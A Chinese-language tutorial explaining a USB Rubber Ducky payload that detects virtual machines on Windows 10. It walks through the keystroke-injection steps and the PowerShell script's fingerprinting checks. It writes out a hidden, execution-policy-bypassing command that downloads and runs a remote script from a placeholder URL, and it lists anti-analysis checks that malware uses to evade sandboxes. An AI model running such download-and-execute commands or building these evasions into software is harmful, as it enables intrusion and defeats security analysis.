VM-Detection-Report Payload 完整教程:USB Rubber Ducky如何识别虚拟机目标
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
VM-Detection-Report是 usbrubberducky-payloads 官方 Payload 仓库中一个面向 Windows 10 的虚拟机检测 Payload。插入USB Rubber Ducky后,它会自动打开 PowerShell,从服务器拉取检测脚本 VM-Detection-Report.ps1,通过注册表、MAC 地址、虚拟网卡、系统服务、BIOS 厂商、屏幕分辨率、调试器、进程监控等 7 大类方法,判断当前机器是虚拟机、虚拟机宿主机还是物理机,并输出彩色控制台报告 + 一份详细日志文本文件。
一、什么是 VM 检测?为什么新手需要关注它
在渗透测试和安全研究中,虚拟机检测(VM Detection)是一个基础技能:
- 🎯安全研究:很多免杀样本会"先判断是否在虚拟机里,再决定是否工作",学会 VM 检测原理,才能看懂免杀逻辑;
- 🛡️防御分析:判断一台主机是否暴露了明显的虚拟机特征,有助于评估其被侦察的风险;
- 🧪自动化测试:CI/CD 环境经常需要自动识别"当前跑在虚拟机还是物理机"。
VM-Detection-Report 正是用USB Rubber Ducky 这款"键盘型"硬件来自动化完成这件事:Ducky 被主机识别为 USB 键盘,在系统启动后自动"盲打"出命令,全程无需人工干预。
⚠️ 本 Payload 作者已在脚本头部明确标注:仅可在自己拥有或获得授权的系统上测试使用(见 Payload.txt 第 7 行的 REM 声明)。
二、Payload 文件结构与工作原理
该 Payload 位于官方仓库的侦察(recon)分类下,包含 3 个文件:
| 文件 | 作用 |
|---|---|
| payloads/library/recon/VM-Detection-Report/Payload.txt | DuckyScript 主脚本,负责"盲打"引导命令 |
| payloads/library/recon/VM-Detection-Report/VM-Detection-Report.ps1 | 核心检测脚本(PowerShell) |
| payloads/library/recon/VM-Detection-Report/README.md | 使用说明 |
工作流程(3 步)
- 等待 Windows 就绪:Payload 内置了
PASSIVE_WINDOWS_DETECT扩展(等待最长 150 秒),确认主机是 Windows 后才继续;非 Windows 系统会亮红灯并停止; - 拉起 PowerShell:通过
GUI r打开运行框,输入powershell -Ep Bypass -W H -C IRM #SCRIPTURL | iex,即"下载并执行"远程托管的 ps1 脚本; - 生成检测报告:脚本运行后输出彩色控制台结果,并把逐条命中详情追加写入
%TEMP%\VMdetect.log文本文件。
💡 新手注意:使用前必须把 Payload 中的
#SCRIPTURL替换为你自己服务器托管的 ps1 原始文件地址(第 10 行DEFINE #SCRIPTURL ...)。
三、7 大检测维度:它到底检查了什么
打开 VM-Detection-Report.ps1 可以看到,脚本把检测拆成了多个函数,覆盖了从"虚拟机宿主机"到"输入设备"的完整链路:
1️⃣ 虚拟机宿主机特征(Test-VMHostNetwork)
判断这台机器本身是不是跑虚拟机的宿主机:
- 网卡服务名是否含
vmxnet(VMware 宿主机)、VBoxNet(VirtualBox 宿主机); - 宿主机特有的注册表项
HKLM:\SYSTEM\CurrentControlSet\Services\VBox*与驱动目录C:\WINDOWS\system32\drivers\VBox*; - MAC 地址是否以 VMware 宿主机典型前缀
005056开头。
2️⃣ 虚拟机环境特征(Test-VirtualMachine)
判断这台机器自己是不是虚拟机,这是最核心的一组:
| 检测项 | 依据 |
|---|---|
| VMware 注册表 | HKLM:\SOFTWARE\VMware, Inc.\VMware Tools、vmmouse.sys、vmhgfs.sys驱动 |
| VirtualBox 注册表 | Guest Additions 项、ACPIVBOX__签名(DSDT/FADT/RSDT)、BIOS 版本串 |
| 网卡 MAC 前缀 | VirtualBox080027;VMware000569/000C29/001C14 |
| 系统服务 | vmtools、vmmouse、vmhgfs、vmci、VBoxService、VBoxSF |
| 硬件制造商 | Win32_ComputerSystem.Manufacturer是否为 VMware、Xen、QEMU、Microsoft 等 |
| 机型与 BIOS | 机型是否为Virtual Machine/VirtualBox/KVM/Bochs;BIOS 厂商是否为Phoenix Technologies/SeaBIOS等 |
3️⃣ 屏幕分辨率(Test-Screensize)
读取主屏分辨率,与 11 种常见真实分辨率(1280x720 ~ 3840x2160)比对,不命中清单就标记为可疑——这是很多免杀逻辑里的经典"分辨率指纹"技巧。
4️⃣ 调试与监控软件(Test-Debugger)
- 调用 Windows API
IsDebuggerPresent与CheckRemoteDebuggerPresent,判断进程是否正被调试; - 枚举 10 个常见分析/监控进程:
taskmgr、procmon、procexp、perfmon、resmon、ProcessHacker等,命中任意一个即"Detected"。
5️⃣ 硬件与真实用户痕迹(Test-Hardware)
用"行为痕迹"反向证明是否有人在真实使用机器:
- 系统开机时长是否超过 1 小时(虚拟机常用完即关);
- C 盘容量是否大于 64GB;
- 物理内存是否大于 1GB;
- CPU 核心数是否大于 2;
- 是否检测到鼠标输入设备;
- 弹出一个"Confirm You Are Not A Robot"对话框,检测是否有人真实点击——这是最有意思的一项"人机验证"式检测。
6️⃣ 最终结论(Verdict)
所有检查汇总后给出三选一结论:
- 该环境看起来托管着虚拟机(宿主机)
- 该环境看起来就是一台虚拟机
- 该环境不太像虚拟机(倾向物理机)
7️⃣ 详细日志
每一项的命中原因都会追加写入%TEMP%\VMdetect.log,例如:
Detected VMware Host MAC address: 00-50-56-xx-xx-xx Detected VM service: vmtools控制台看结论,日志文件查细节,报告双通道输出,方便归档与复盘。
四、快速上手步骤
- 在仓库中找到 Payload 目录 payloads/library/recon/VM-Detection-Report/;
- 用 Hak5PayloadStudio打开 Payload.txt 编译成 Ducky 可执行格式(仓库要求所有 Payload 必须用 PayloadStudio 编译,见 README.md);
- 把第 10 行
#SCRIPTURL改为你自己服务器上的VM-Detection-Report.ps1原始文件地址; - 将 Ducky 插入自己拥有或已获授权的 Windows 10 机器;
- 启动后等待 PowerShell 窗口弹出,查看控制台彩色报告,再到"临时文件"目录打开
VMdetect.log查看详细日志。
📌 如果想自己动手修改检测项(比如增加对 Hyper-V、KVM 的检测),只需要在 ps1 里按同样的Write-Host + Out-File模式追加检查函数即可,结构非常清晰,适合作为新手学习 DuckyScript + PowerShell 自动化的范本。
五、常见问题 FAQ
Q1:为什么 Payload 要"远程下载" ps1 而不是直接按键输入?DuckyScript 只能"打字",几百行的 PowerShell 脚本靠模拟键盘输入极慢且易错。采用IRM <URL> | iex(Invoke-WebRequest 下载 + iex 执行)是 Ducky 生态的标准做法,仓库中大量 Payload 都采用这一模式。
Q2:目标机器是 macOS / Linux 会怎样?Payload 开头内置PASSIVE_WINDOWS_DETECT扩展做被动 OS 探测,非 Windows 系统会直接亮红灯(LED_R)并STOP_PAYLOAD停止,不会误触。
Q3:检测全部 OK 就一定是物理机吗?不是。VM 检测本质是"特征指纹"匹配,虚拟机做了特征清理(改 MAC、改注册表、调分辨率)就可能漏检;反过来,部分小型化物理机也可能因内存/磁盘偏小被误标。结论应结合日志综合判断。
Q4:日志文件在哪里?%TEMP%\VMdetect.log,即"此电脑 → 临时文件"目录,可直接复制出来归档。
六、写在最后
VM-Detection-Report 用一份结构清晰的 PowerShell 脚本 + 一段不到 50 行的 DuckyScript,完整演示了"USB 键盘硬件 → 自动打开终端 → 远程执行脚本 → 双通道报告"这条 Ducky 经典链路,同时把注册表、MAC 前缀、服务、BIOS、屏幕、调试器、行为痕迹 7 大类虚拟机指纹一网打尽,是理解虚拟机检测原理和DuckyScript 工程实践的绝佳入门样本。
⚠️再次提醒:本 Payload 仅可用于自己拥有或已获明确授权的系统;未经授权在他人设备上使用属于违法行为,请务必遵守法律法规与职业道德。
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考